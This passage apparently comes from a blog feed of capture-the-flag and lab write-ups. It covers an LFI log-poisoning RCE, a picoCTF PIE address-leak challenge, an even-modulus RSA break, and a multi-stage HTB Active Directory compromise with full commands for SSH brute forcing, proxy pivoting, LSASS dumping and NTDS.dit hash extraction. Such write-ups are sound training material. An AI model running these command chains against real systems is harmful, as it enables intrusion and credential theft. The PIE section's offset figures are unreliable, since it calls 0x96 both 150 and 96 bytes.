User-Agent string into the access.log file.</li><li><strong>Execute Commands:</strong> A second request was sent to the server, this time using the LFI vulnerability to include the poisoned log file and passing a command via the cmd parameter.</li></ul><pre>http://&lt;TARGET_IP:PORT&gt;/ilf_admin/index.php?log=../../../../../../var/log/nginx/access.log&amp;cmd=id</pre><p>This resulted in the execution of the id command on the server, confirming successful RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXYCMjddPEvXLMxHnHMsDQ.png" /></figure><h3>Phase 5: Post-Exploitation and Flag Retrieval</h3><p>With a stable RCE established, standard Linux commands were executed to enumerate the filesystem and locate the flag. By chaining commands using the cmd parameter (ensuring proper URL encoding), the flag was eventually found and read from the / directory.</p><p><strong>Example Command:</strong></p><pre>...&amp;cmd=%6c%73%20%2f</pre><p>This process was repeated until the contents of the flag were successfully exfiltrated.</p><p><strong>Remainder:</strong> This execution method is transient, as each new entry to the access.log file can displace the payload. Consequently, each new command requires re-injection of the web shell via the User-Agent header. For stable access, a recommended next step is to establish persistence by uploading a dedicated web shell or initiating a reverse shell.</p><h3>Conclusion and Recommendations</h3><p>The INLANEFREIGHT web application was found to have a critical vulnerability chain that allowed an unauthenticated attacker to achieve remote code execution. The initial LFI was protected by a filter, but this was bypassed using a PHP wrapper. This led to the discovery of a secondary, unprotected LFI vulnerability in an administrative panel, which was then exploited via log poisoning to gain full control over the server.</p><p><strong>Remediation Steps:</strong></p><ul><li><strong>Comprehensive Input Validation:</strong> Apply strict input sanitization and validation to <strong>all</strong> user-controlled parameters across the entire application, not just public-facing ones. A deny-by-default approach should be used, with an allow-list of permitted file names (about.php, contact.php, etc.).</li><li><strong>Disable Dangerous Functions:</strong> If not essential for application functionality, disable potentially dangerous PHP functions and wrappers like php://filter in the php.ini configuration.</li><li><strong>Secure File Permissions:</strong> The web server process should run with the lowest possible privileges and should be restricted from reading sensitive files outside of the web root directory.</li><li><strong>Secure Logging:</strong> Configure web server logs to sanitize control characters. Store log files in a directory that is not accessible from the web server to prevent them from being included.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=860ae73fda07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unraveling PIE TIME: A Journey into Position-Independent Executables (PIE)]]></title>
            <link>https://medium.com/@ravsau00/unraveling-pie-time-a-journey-into-position-independent-executables-pie-a7cb6d8c3e85?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7cb6d8c3e85</guid>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 15:55:35 GMT</pubDate>
            <atom:updated>2025-07-29T15:55:35.580Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone! Today, I want to share my experience solving a really interesting PicoCTF challenge called “PIE TIME.” This challenge was a fantastic introduction to a crucial security concept in modern Linux systems: Position-Independent Executables, or PIE. If you’ve ever wondered how attackers predict memory locations or how systems defend against that, this post is for you!</p><h3>What’s the Big Deal About PIE?</h3><p>Before we dive into the solution, let’s talk about PIE. Imagine a house being built on a specific lot number, say “Lot 100.” If everyone knows “Lot 100” is where the house is, it’s easy for someone with ill intentions to target it.</p><p>In the world of computers, programs (executables) used to be loaded into the same fixed memory addresses every time they ran. This was like our “Lot 100.” If an attacker found a vulnerability (like a buffer overflow) that allowed them to inject malicious code, they could predict where their code would land in memory and jump to it, taking control of the program. This is a huge security risk!</p><p><strong>PIE</strong> (Position-Independent Executable) changes this. Think of it like a house that can be built on <em>any</em> available lot. Each time the program runs, it’s loaded into a <em>random</em> memory address. This technique, combined with ASLR (Address Space Layout Randomization), makes it incredibly difficult for attackers to predict where essential parts of the program (like functions or data) will reside in memory. It’s a cornerstone of modern system security, making exploits much harder to pull off.</p><h3>The PIE TIME Challenge: Our Mission</h3><p>The “PIE TIME” challenge provided us with two key things: the program’s source code and the binary executable itself. Our goal was to find a way to make the program execute a hidden win function, which held the flag.</p><p>The hint was crucial: “Can you figure out what changed between the address you found locally and in the server output?” This immediately pointed towards PIE. If the addresses changed, it meant the binary was indeed position-independent.</p><h3>Step 1: Peeking Inside with nm</h3><p>Our first step was to analyze the provided binary using the nm command. The nm command is a powerful utility for listing symbols (like functions and variables) within executables or libraries. It&#39;s like looking at the blueprint of a building to see where different rooms (functions) are located.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZfOBF_Ty4cpuyTpNcBJ5jQ.png" /></figure><p>When I ran nm vuln ( the binary was named vuln), I found two particularly interesting entries:</p><pre>000000000000133d T main<br>00000000000012a7 T win</pre><p>These hexadecimal numbers are the <em>offsets</em> of the main function (where the program typically starts) and the win function (where our flag resides) <em>within the binary file itself</em>. Since the binary is PIE, these are not the actual memory addresses where they&#39;ll load, but rather their positions <em>relative</em> to the start of the binary.</p><h3>Step 2: Calculating the Offset</h3><p>The key insight here is that even though the binary loads at a random memory address, the <em>relative distance </em>between functions remains constant. If main is 100 bytes from win in the file, it will still be 100 bytes from winin memory, regardless of where the binary is loaded.</p><p>To find this relative distance, I simply subtracted the win function&#39;s offset from the main function&#39;s offset:</p><p>0x000000000000133d (main) - 0x00000000000012a7 (win) = 0x96 (or 150 in decimal)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgwSiyLrcbaJkKQzAa7d-g.png" /></figure><p>This 96 is our magic number! It tells us that the win function is located 96 bytes <em>before</em> the main function&#39;s entry point within the loaded program.</p><h3>Step 3: Connecting to the Server and Finding the Base Address</h3><p>Now came the part where PIE truly came into play. We needed to connect to the PicoCTF server using netcat:</p><p>$ nc rescued-float.picoctf.net 64287 (Note: The port number might vary for different instances of the challenge.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*au--oYebUIaLT4YbyCK0Kw.png" /></figure><p>Upon connecting, the program printed out the memory address of the main function <em>as it was loaded in memory on the server</em>. In my case, it was something like 0x5f74c1c4433d(your address will almost certainly be different!).</p><p>This is the crucial piece of the puzzle! This address represents the <em>base address</em> of the loaded binary plus the offset of the main function.</p><h3>Step 4: Deriving the win Function&#39;s Address</h3><p>Since we know the win function is 96 bytes <strong>before</strong> the main function, we can simply subtract our calculated offset (96) from the main function&#39;s runtime address:</p><p>0x5f74c1c4433d (main_runtime_address) - 0x96 (offset) = 0x5f74c1c442a7 (win_runtime_address)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBjshBFtBVNWxjfdhp6LzQ.png" /></figure><p>And there it was! The calculated address 0x5f74c1c442a7 was the precise memory location of the winfunction on the server.</p><h3>Step 5: Triggering the Flag!</h3><p>The challenge likely involved a buffer overflow or a similar vulnerability where we could overwrite a return address on the stack. By providing our newly calculated win function address as input, we could redirect the program&#39;s execution flow to the win function.</p><p>When I provided 0x5f74c1c442a7 as the input (the exact method of input depends on the challenge&#39;s specifics, but often it&#39;s directly typing the address after a prompt), the program jumped to the win function, and I got the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aif_FN7l1381e4dox8P4jQ.png" /></figure><h3>Key Takeaways</h3><p>This “PIE TIME” challenge was an excellent way to understand the practical implications of PIE:</p><ul><li><strong>PIE is a crucial security feature:</strong> It randomizes memory addresses, making it harder for attackers to predict where code will be loaded.</li><li><strong>Relative offsets remain constant:</strong> Even with PIE, the distance between functions within a binary stays the same. This is key for exploitation when you can leak an address.</li><li><strong>nm is your friend:</strong> It helps you understand the internal structure of binaries.</li><li><strong>Netcat for interaction:</strong> It allows you to connect to and interact with remote programs.</li></ul><p>I hope this breakdown helps you understand PIE and how it impacts exploit development. These types of challenges are fantastic for building a deeper understanding of system security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7cb6d8c3e85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EVEN RSA CAN BE BROKEN]]></title>
            <link>https://medium.com/@ravsau00/even-rsa-can-be-broken-23f64a96a7d8?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/23f64a96a7d8</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[rsa-algorithm]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 12:39:19 GMT</pubDate>
            <atom:updated>2025-07-28T12:39:19.054Z</atom:updated>
            <content:encoded><![CDATA[<p>A PicoCTF Challenge Walkthrough</p><h4>Introduction</h4><p>The challenge “EVEN RSA CAN BE BROKEN” from PicoCTF is a fantastic example of a non-standard RSA problem. Standard RSA relies on the product of two large prime numbers, N, to be odd. In this challenge, however, the provided value of N is an even number. This subtle twist is the key to breaking the encryption and retrieving the flag.</p><h4>The Challenge</h4><p>The challenge description is as follows:“This service provides you an encrypted flag. Can you decrypt it with just N &amp; e?</p><p>Connect to the program with netcat:</p><pre>nc verbal-sleep.picoctf.net 52407</pre><p>Connecting to the server gives you two sets of N, e, and ciphertext values. The screenshot provided shows two different outputs from the netcat connection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsleaYarqJDSI9Vw8nsfPQ.png" /></figure><p><strong>Output 1:</strong></p><ul><li>N:16233539117715271830748946999748607480039355467066158198543658366140112696149832252992098559387700590443754323228494796278770516798850234763525618158193762</li><li>e: 65537</li><li>ciphertext:610629312193427696116547373756679481657573981369490497365358845424936134991715533623504186623187005533239770138070109639966945943021209749607046470029085</li></ul><p><strong>Output 2:</strong></p><ul><li>N:20246283163443160002259179556255662715398560211962055074797295754032864350068410546683908678058281546926529590796822573879293189276722723782719462516674258</li><li>e: 65537</li><li>ciphertext:4110469820621690697833950822024074509321974953866743282535436437542719128938519649109331825753980116331545622679489035047874090901538351621915784159823005</li></ul><p>The key observation is that both values of N are even numbers. Let&#39;s verify this by checking the last digit of each N:</p><ul><li>N1: …762 (even)</li><li>N2: …258 (even)</li></ul><h4>The Breakthrough</h4><p>In standard RSA, N is the product of two large, odd prime numbers, p and q. The product of two odd numbers is always odd. Therefore, an even N immediately tells us that something is different. The only even prime number is 2. This must mean that one of the prime factors, let’s say p, is equal to 2.</p><p>With this crucial piece of information, we can solve the problem. If N = p * q and p=2, then we can find the other prime factor, q, by simply dividing N by 2.</p><pre>N = p * q<br>if p = 2 then<br>q = N/2</pre><p>Now we have both prime factors, p and q, which allows us to calculate phi(N), Euler’s totient function, which is essential for finding the private key.</p><pre>phi(N) = (p−1) * (q−1)<br>phi(N) = (2−1) * (q−1) = q−1</pre><p>The private key, d, can then be calculated using the modular multiplicative inverse of e with respect to phi(N).</p><pre>d = e^-1 mod phi(N)</pre><p>Once we have d, we can decrypt the ciphertext c to get the plaintext message m:</p><pre>m = c^d mod N</pre><p>The decrypted message m is a large integer, which we need to convert back into bytes to reveal the flag.</p><h4>The Solution Code</h4><p>The provided Python script uses the Crypto.Util.number library, which is a common choice for CTF problems involving cryptography. Let&#39;s walk through the code, using the second set of values for N, e, and ciphertext.</p><pre>from Crypto.Util.number import long_to_bytes<br><br># The values from the challenge<br>N = 20246283163443160002259179556255662715398560211962055074797295754032864350068410546683908678058281546926529590796822573879293189276722723782719462516674258<br>e = 65537<br>c = 4110469820621690697833950822024074509321974953866743282535436437542719128938519649109331825753980116331545622679489035047874090901538351621915784159823005<br><br># Step 1: Find the prime factors. We know p = 2.<br>p = 2<br>q = N // p  # In Python, `//` is integer division<br><br># Step 2: Calculate Euler&#39;s totient function, phi(N).<br>phi_N = (p - 1) * (q - 1)<br><br># Step 3: Find the private key, d, using modular inverse.<br># The `pow(e, -1, phi_N)` function computes the modular inverse of e mod phi_N.<br>d = pow(e, -1, phi_N)<br><br># Step 4: Decrypt the ciphertext c to get the message m.<br>m = pow(c, d, N)<br><br># Step 5: Convert the large integer m back to bytes to reveal the flag.<br>flag = long_to_bytes(m)<br>print(flag)</pre><p>The output of this script will be the flag. The long_to_bytes function correctly converts the integer back into a readable string, which in this case, will contain the flag in the format picoCTF{...}.</p><h4>Conclusion</h4><p>This challenge is a great reminder that cryptography is not just about memorizing formulas, but about understanding the underlying principles and being able to identify unusual cases. The “EVEN RSA CAN BE BROKEN” problem cleverly subverts the fundamental assumption of RSA (that N is a product of two large odd primes) by making N even. By recognizing that one of the primes must be 2, we can easily factor N and break the encryption, proving that even RSA can be broken under the right (or wrong!) circumstances.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23f64a96a7d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond Phishing: A Multi-Stage Attack to Control an Active Directory Environment]]></title>
            <link>https://medium.com/@ravsau00/beyond-phishing-a-multi-stage-attack-to-control-an-active-directory-environment-8d9e7d0c7eb9?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d9e7d0c7eb9</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Mon, 30 Jun 2025 14:15:47 GMT</pubDate>
            <atom:updated>2025-06-30T14:15:47.986Z</atom:updated>
            <content:encoded><![CDATA[<p>HTB Academy Password Attacks Skill Assessment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuZwhs42AzbvTcgVS4XxlA.png" /></figure><p>Welcome, fellow cybersecurity enthusiasts! Today, I want to walk you through a recent skills assessment that perfectly illustrates the “Credential Theft Shuffle” — a systematic approach attackers use to compromise Active Directory environments. This wasn’t just about finding one vulnerability; it was a multi-stage journey requiring persistence, lateral movement, and a deep understanding of common misconfigurations.</p><p>Our target was <strong>Nexura LLC</strong>, and the ultimate goal was to gain command execution on their domain controller and extract the NTLM hash of the NEXURA\Administrator account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CvLnHBd4E1hkCjwGcu61Eg.png" /></figure><h3>The Scenario: A Segmented Network and a Reused Password</h3><p>The environment was set up with a classic DMZ (Demilitarized Zone) configuration. Our attack host had external access only to DMZ01 (10.129.X.X), which acted as a gateway to the internal network (172.16.119.0/24). The internal hosts included JUMP01, FILE01, and the prized DC01 (Domain Controller).</p><p>We had a crucial piece of initial intelligence: a user named <strong>Betty Jayde</strong> was known to reuse the password Texas123!@# across multiple websites, and we suspected she might use it at work. This would be our initial entry point.</p><h3>Phase 1: Gaining a Foothold on the DMZ and Pivoting In</h3><p>Our first objective was DMZ01 (10.129.234.116). We suspected Betty Jayde&#39;s password Texas123!@# might be reused. However, we first needed to confirm her username on the system.</p><ol><li><strong>Username Enumeration with Username Anarchy:</strong> To confirm Betty Jayde’s username on the system, I utilized a tool called <strong>Username Anarchy</strong>. This allowed me to generate potential usernames based on common naming conventions (e.g., first initial + last name, first name + last initial).</li><li><strong>Brute-Forcing SSH with Hydra:</strong> With a list of potential usernames (which quickly identified jbetty as a valid user) and the suspected password, I turned to <strong>Hydra</strong> for a targeted SSH brute-force attack.</li></ol><pre>hydra -L user.txt -p &#39;Texas123!@#&#39; ssh://10.129.234.116</pre><ul><li><strong>What it does:</strong></li><li>hydra: A powerful and fast network logon cracker that supports numerous protocols.</li><li>-L user.txt: Specifies a list of usernames to try (in this case, the output from Username Anarchy which would have included jbetty).</li><li>-p &#39;Texas123!@#&#39;: Provides the specific password to attempt for each username.</li><li>ssh://10.129.234.116: The target service and IP address (SSH on DMZ01).</li></ul><p><strong>Result:</strong> Hydra successfully authenticated, confirming jbetty and Texas123!@# as valid credentials for SSH access on DMZ01. This was our initial breach point.</p><p>3. <strong>Establishing a SOCKS Proxy via SSH:</strong></p><pre>ssh -D 9050 jbetty@10.129.234.116</pre><ul><li><strong>What it does:</strong> This command then established the SSH connection using the newly confirmed credentials. The -D 9050 flag sets up a <strong>SOCKS proxy</strong> on our local machine (listening on port 9050). This proxy is absolutely crucial as it allows us to route all subsequent network traffic destined for the internal network <em>through</em> the compromised DMZ01 host. Without this pivot, our attack host wouldn&#39;t be able to &quot;see&quot; or interact with the internal systems.</li></ul><p><strong>4. Credential Discovery on DMZ01:</strong> Once logged into DMZ01, I immediately checked for sensitive information. A great starting point is a user&#39;s bash history, which often contains commands with credentials.</p><pre>cat .bash_history</pre><ul><li><strong>What it does:</strong> Displays the command history of the currently logged-in user. This quickly revealed another set of credentials: hwilliam with the password dealer-screwed-gym1. This was a jackpot for further lateral movement!</li></ul><h3>Phase 2: Internal Network Enumeration and Lateral Movement to FILE01</h3><p>With our SOCKS proxy now active, we could finally map out the internal network. Identifying active hosts and open ports is a fundamental step in any red team assessment.</p><ol><li><strong>Nmap Scanning through the Proxy:</strong> I used Nmap to perform a targeted port scan on the identified internal hosts, DC01 (172.16.119.11) and FILE01 (172.16.119.10), routing the traffic through our proxy.</li></ol><p><strong>Command (DC01 Scan):</strong></p><pre>proxychains nmap -sT -Pn --open --min-rate 10 -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985 -oA dc01_scan_slow 172.16.119.11 proxychains nmap -sT -Pn --open --min-rate 10 -p 135,445,3389,5985 172.16.119.11</pre><p><strong>Command (FILE01 Scan):</strong></p><pre>proxychains nmap -sT -Pn --open --min-rate 10 -p 135,445,3389,5985 172.16.119.10</pre><ul><li><strong>What it does:</strong></li><li>proxychains: Routes the Nmap traffic through our SOCKS proxy.</li><li>nmap: The network mapper, used for host discovery and port scanning.</li><li>-sT: Performs a TCP connect scan, which completes the full TCP three-way handshake. This is often necessary when scanning through a SOCKS proxy.</li><li>-Pn: Treats all hosts as online, skipping host discovery (pinging). Useful when a firewall might block ICMP.</li><li>--open: Only shows ports that are in the &quot;open&quot; state.</li><li>--min-rate 10: Sets a minimum send rate to avoid being too noisy or getting blocked, especially when going through a proxy.</li><li>-p ...: Specifies the list of ports to scan. These include common Active Directory services (LDAP, Kerberos, SMB), MSRPC, and RDP.</li><li>172.16.119.11 and 172.16.119.10: The target internal IP addresses.</li></ul><p><strong>Scan Results Interpretation:</strong></p><ul><li><strong>DC01 (172.16.119.11):</strong> Showed numerous open ports typical of a Domain Controller: 53 (DNS), 88 (Kerberos), 135 (MSRPC), 139 (NetBIOS), 389 (LDAP), 445 (SMB), 464 (Kerberos Password Change), 593 (DCOM), 636 (LDAPS), 3268/3269 (Global Catalog LDAP), 3389 (RDP), 5985 (WinRM/WSMan). This confirmed it was indeed the DC and offered many avenues for attack.</li><li><strong>FILE01 (172.16.119.10):</strong> Showed 135 (MSRPC), 445 (SMB), 3389 (RDP), and 5985 (WinRM/WSMan) open. The open SMB (445) port was particularly interesting, pointing towards a file share.</li></ul><p><strong>2. Accessing FILE01 via SMB with Stolen Credentials:</strong> With hwilliam&#39;s credentials and the knowledge that SMB was open on FILE01, our next step was to explore its shares.</p><pre>proxychains python3 /home/user/.local/pipx/venvs/impacket/bin/smbclient.py nexura.htb/hwilliam:&#39;dealer-screwed-gym1&#39;@172.16.119.10</pre><ul><li><strong>What it does:</strong></li><li>proxychains: Routes traffic through the SOCKS proxy.</li><li>smbclient.py: Impacket&#39;s SMB client to interact with shares.</li><li>nexura.htb/hwilliam:&#39;dealer-screwed-gym1&#39;@172.16.119.10: Specifies the domain, user, password, and target.</li><li><strong>Result:</strong> We successfully connected to FILE01. A quick enumeration of shares (ls) revealed an HR share. Diving into HR and then Archive, we found a file named Employee-Passwords_OLD.psafe3. This looked incredibly promising – a password safe!</li></ul><p><strong>3.</strong> <strong>Extracting Hash from Password Safe:</strong></p><pre>python3 ./pwsafe2john.py /path/to/Employee-Passwords_OLD.psafe3 &gt; psafe_hash.txt</pre><p><strong>Explanation:</strong></p><ul><li>pwsafe2john.py: A utility that extracts the password hash from a Password Safe (.psafe3) file and formats it for use with John the Ripper.</li><li>&gt; psafe_hash.txt: Redirects the output (the extracted hash) to a file named psafe_hash.txt.</li><li><strong>Result:</strong> A hash string from the password safe was saved to psafe_hash.txt.</li></ul><p><strong>4. Cracking the Password Safe Master Password:</strong></p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt psafe_hash.txt</pre><p><strong>Explanation:</strong></p><ul><li>john: John the Ripper, a popular open-source password cracking tool.</li><li>--wordlist=/usr/share/wordlists/rockyou.txt: Specifies the rockyou.txt wordlist, which is commonly used due to its large collection of leaked and common passwords.</li><li>psafe_hash.txt: The file containing the extracted password safe hash.</li><li><strong>Result:</strong> The master password for the password safe was cracked: michaeljackson.</li></ul><p><strong>5. Accessing and Extracting Credentials from Password Safe:</strong></p><ul><li><strong>Action:</strong> Used a pwsafe application (or similar software) and the cracked master password (michaeljackson) to open Employee-Passwords_OLD.psafe3.</li><li><strong>Result:</strong> Obtained several valuable domain user credentials:</li><li>DMZ01 :-&gt; jbetty xiao-nicer-wheels5</li><li>Domain Users:-&gt; bdavid caramel-cigars-reply1 (Confirmed valid)</li><li>Domain Users:-&gt; hwilliam warned-wobble-occur8</li><li>Domain Users:-&gt; stom calves-warp-learning1 (This specific password for stom was actually obtained later during the LSASS dump from JUMP01, but it&#39;s listed here for completeness of discovered domain users).</li></ul><h3><strong>Phase 3: Lateral Movement to JUMP01 and Initial Credential Dumping Attempt</strong></h3><ol><li><strong>RDP to JUMP01 with Stolen Credentials:</strong></li></ol><pre>proxychains xfreerdp /u:bdavid /p:&#39;caramel-cigars-reply1&#39; /d:nexura.htb /v:172.16.119.7 /cert:ignore /dynamic-resolution &quot;/drive:parrotshare,/home/user/parrotshare&quot;</pre><p><strong>Explanation:</strong></p><ul><li>proxychains: Routes the RDP connection through the SOCKS proxy.</li><li>xfreerdp: An open-source RDP client for Linux.</li><li>/u:bdavid /p:&#39;caramel-cigars-reply1&#39;: Specifies the username and password for bdavid.</li><li>/d:nexura.htb: Specifies the domain.</li><li>/v:172.16.119.7: The target IP address of JUMP01.</li><li>/cert:ignore: Ignores RDP certificate warnings.</li><li>/dynamic-resolution: Allows the RDP session to adjust its resolution dynamically.</li><li>&quot;/drive:parrotshare,/home/user/parrotshare&quot;: This crucial option mounts a local directory (~/parrotshare on the attacker&#39;s Linux machine) as a shared drive within the RDP session. This facilitates easy file transfer between the compromised Windows host and the attacking machine.</li><li><strong>Result:</strong> Successfully gained an interactive RDP session on JUMP01 as bdavid.</li></ul><p><strong>2. Dumping LSASS from JUMP01 and Extracting Credentials:</strong></p><ul><li><strong>Action (on JUMP01):</strong> Once on JUMP01, I needed to extract credentials from memory. I opened <strong>Task Manager</strong>, navigated to the <strong>Details</strong> tab (or <strong>Processes</strong> in older Windows versions), located the lsass.exeprocess (Local Security Authority Process), right-clicked it, and selected &quot;Create dump file&quot;. This generated a lsass.dmp file containing a snapshot of the process&#39;s memory.</li><li><strong>Transfer:</strong> This lsass.dmp file was then transferred to my attacking Linux machine using the shared RDP drive (parrotshare).</li></ul><p><strong>3. Analysis (on Linux):</strong></p><pre>pypykatz lsa minidump lsass.dmp</pre><p><strong>Explanation:</strong></p><ul><li>pypykatz is a Python implementation of Mimikatz, designed to parse and extract credentials (including NTLM hashes and sometimes cleartext passwords) from lsass.dmp files. The lsa minidump command specifically targets LSASS dump files.</li><li><strong>Result:</strong> This successfully extracted credentials present in JUMP01&#39;s memory. Among these, I found the password for user stom: calves-warp-learning1 and its corresponding NTLM hash 21ea958524cfd9a7791737f8d2f764fa. This was a significant gain for further lateral movement!</li><li><strong>Note on SAM/SYSTEM/SECURITY Hives:</strong></li><li>I also attempted to dump the SAM, SYSTEM, and SECURITY registry hives from JUMP01 using reg.exe save and analyzed them with secretsdump.py.</li><li>However, these hives primarily contain <strong>local</strong> account information and cached domain credentials from a <em>workstation</em> (JUMP01), not the authoritative domain hashes from the NTDS.dit database on the Domain Controller. Therefore, they were not directly helpful in obtaining the NEXURA\Administratordomain hash, but the lsass.dmp dump proved invaluable.</li></ul><h3><strong>Phase 4: Domain Controller Compromise and Final Hash Extraction</strong></h3><ol><li><strong>RDP to DC01 with Stolen Domain Credentials:</strong></li></ol><pre>proxychains xfreerdp /u:stom /p:&#39;calves-warp-learning1&#39; /v:172.16.119.11 /cert:ignore /dynamic-resolution &quot;/drive:parrotshare,/home/user/parrotshare&quot;</pre><p><strong>Explanation:</strong> Using stom&#39;s valid domain credentials (obtained from the JUMP01 LSASS dump), an RDP connection was made directly to the Domain Controller (DC01). The setup for proxychains, xfreerdp, and the shared drive remained the same.</p><ul><li><strong>Result:</strong> Successfully gained an interactive RDP session on DC01 as stom, confirming administrative access to the domain controller.</li></ul><p><strong>2. Creating a Volume Shadow Copy of C: Drive:</strong></p><ul><li><strong>Command (on DC01, in PowerShell/CMD as Administrator):</strong></li></ul><pre>vssadmin CREATE SHADOW /for=C:</pre><p><strong>Explanation:</strong></p><ul><li>vssadmin: A built-in Windows command-line tool for managing Volume Shadow Copies.</li><li>CREATE SHADOW /for=C:: Instructs VSS to create a snapshot of the C: drive. This is essential because the NTDS.dit file (Active Directory database) is constantly locked by the operating system and cannot be directly copied. A shadow copy provides a consistent, accessible snapshot of the volume.</li><li><strong>Result:</strong> A shadow copy was created. The output provided the Shadow Copy Volume Name (e.g., \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1), which is the path to the snapshot.</li></ul><p><strong>3. Copying NTDS.dit and SYSTEM Hive from Shadow Copy:</strong></p><ul><li><strong>Commands (on DC01, in CMD/PowerShell):</strong></li></ul><pre>cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\NTDS.dit</pre><pre>reg.exe save hklm\system C:\system.save</pre><ul><li><strong>Explanation:</strong></li><li>The first command uses cmd.exe /C copy to copy the NTDS.dit file from its location within the shadow copy to a temporary, accessible location on the C: drive.</li><li>The second command uses reg.exe save to export the SYSTEM registry hive. The SYSTEM hive contains the boot key, which is necessary to decrypt the NTLM hashes stored within the NTDS.dit file.</li><li><strong>Result:</strong> Copies of NTDS.dit and system.save were created on DC01&#39;s local drive.</li></ul><p><strong>4. Transferring Files to Attacking Machine:</strong></p><ul><li><strong>Action:</strong> Used the previously set up shared RDP drive (parrotshare) to transfer C:\NTDS.dit and C:\system.save from DC01 to the Linux attacking machine.</li><li><strong>Result:</strong> The crucial files for domain hash extraction were now on the attacker’s system.</li></ul><p><strong>5. Final Hash Extraction with secretsdump.py:</strong></p><pre>secretsdump.py -ntds NTDS.dit -system system.save LOCAL</pre><p><strong>Explanation:</strong></p><ul><li>secretsdump.py: Utilized again, but this time specifically for dumping domain hashes from the NTDS.dit database.</li><li>-ntds NTDS.dit: Specifies the path to the copied Active Directory database file.</li><li>-system system.save: Specifies the path to the copied SYSTEM hive. These two files are paramount for secretsdump.py to decrypt and display the domain hashes.</li><li>LOCAL: Indicates that the input files are local.</li><li><strong>Result:</strong> The command successfully parsed the NTDS.dit and SYSTEM hive, extracting all domain credentials, including the NTLm hash of NEXURA\Administrator.</li></ul><h3>Bonus Point: How Did I Know Which User Was On Which Host?</h3><p>One question that often comes up in multi-stage attacks like this is: “How did you know hwilliam was on FILE01, bdavid on JUMP01, and stom on DC01?&quot; There wasn&#39;t a single magical command that told me this upfront. Instead, it was a process of <strong>deductive reasoning, credential correlation, and leveraging network reconnaissance.</strong></p><p>Here’s a brief breakdown of my methodology for mapping users to hosts:</p><ol><li><strong>Initial Network Mapping with Nmap:</strong></li></ol><ul><li>My Nmap scans (proxychains nmap ...) provided the foundational understanding of the network.</li><li>I saw that 172.16.119.11 (DC01) had ports like 53 (DNS), 88 (Kerberos), 389 (LDAP), and 3268/3269 (Global Catalog) open, which are definitive signs of a <strong>Domain Controller</strong>.</li><li>172.16.119.10 (FILE01) had 445 (SMB) and 3389 (RDP) open, indicating a potential <strong>File Server or Workstation</strong>.</li><li>172.16.119.7 (JUMP01) primarily showed 3389 (RDP), suggesting a <strong>Jump Host or Workstation</strong>.</li><li>This initial mapping helped me prioritize targets based on their likely roles.</li></ul><p><strong>2. Credential Correlation and Successful Authentication:</strong></p><ul><li><strong>hwilliam and </strong><strong>FILE01 (172.16.119.10):</strong> I discovered hwilliam&#39;s credentials (dealer-screwed-gym1) in DMZ01&#39;s .bash_history. My Nmap scan showed SMB (port 445) open on FILE01. It was a logical next step to <em>try</em> hwilliam&#39;s credentials on FILE01&#39;s SMB share. The successful connection (proxychains python3 ... smbclient.py nexura.htb/hwilliam:&#39;dealer-screwed-gym1&#39;@172.16.119.10) empirically confirmed hwilliam&#39;s access to FILE01. The discovery of the Employee-Passwords_OLD.psafe3 file within FILE01&#39;s shares further solidified this association.</li><li><strong>bdavid and </strong><strong>JUMP01 (172.16.119.7):</strong> After cracking the password safe from FILE01, I found bdavid&#39;s credentials (caramel-cigars-reply1). My Nmap scan revealed RDP (port 3389) was open on JUMP01. It was a natural progression to attempt RDP into JUMP01 using bdavid&#39;s credentials (proxychains xfreerdp /u:bdavid ... /v:172.16.119.7). The successful RDP session confirmed bdavid&#39;s access to JUMP01.</li><li><strong>stom and </strong><strong>DC01 (172.16.119.11):</strong> While on JUMP01, I dumped LSASS memory, which yielded stom&#39;s credentials (calves-warp-learning1). Knowing 172.16.119.11 was the Domain Controller (from Nmap), and needing to extract domain hashes, the most logical step was to attempt to RDP directly into DC01 using these newly acquired domain credentials (proxychains xfreerdp /u:stom ... /v:172.16.119.11). The successful administrative RDP session on DC01 confirmed stom had the necessary privileges to access the domain controller.</li></ul><p>In essence, it’s an iterative process: <strong>reconnaissance informs credential use, successful authentication confirms user-to-host relationships, and new credential discoveries open doors to new hosts.</strong> This methodical approach allows you to piece together the puzzle of who has access where, even without direct user-to-machine mappings provided upfront.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d9e7d0c7eb9" width="1" height="1" alt="">]]></content:encoded>
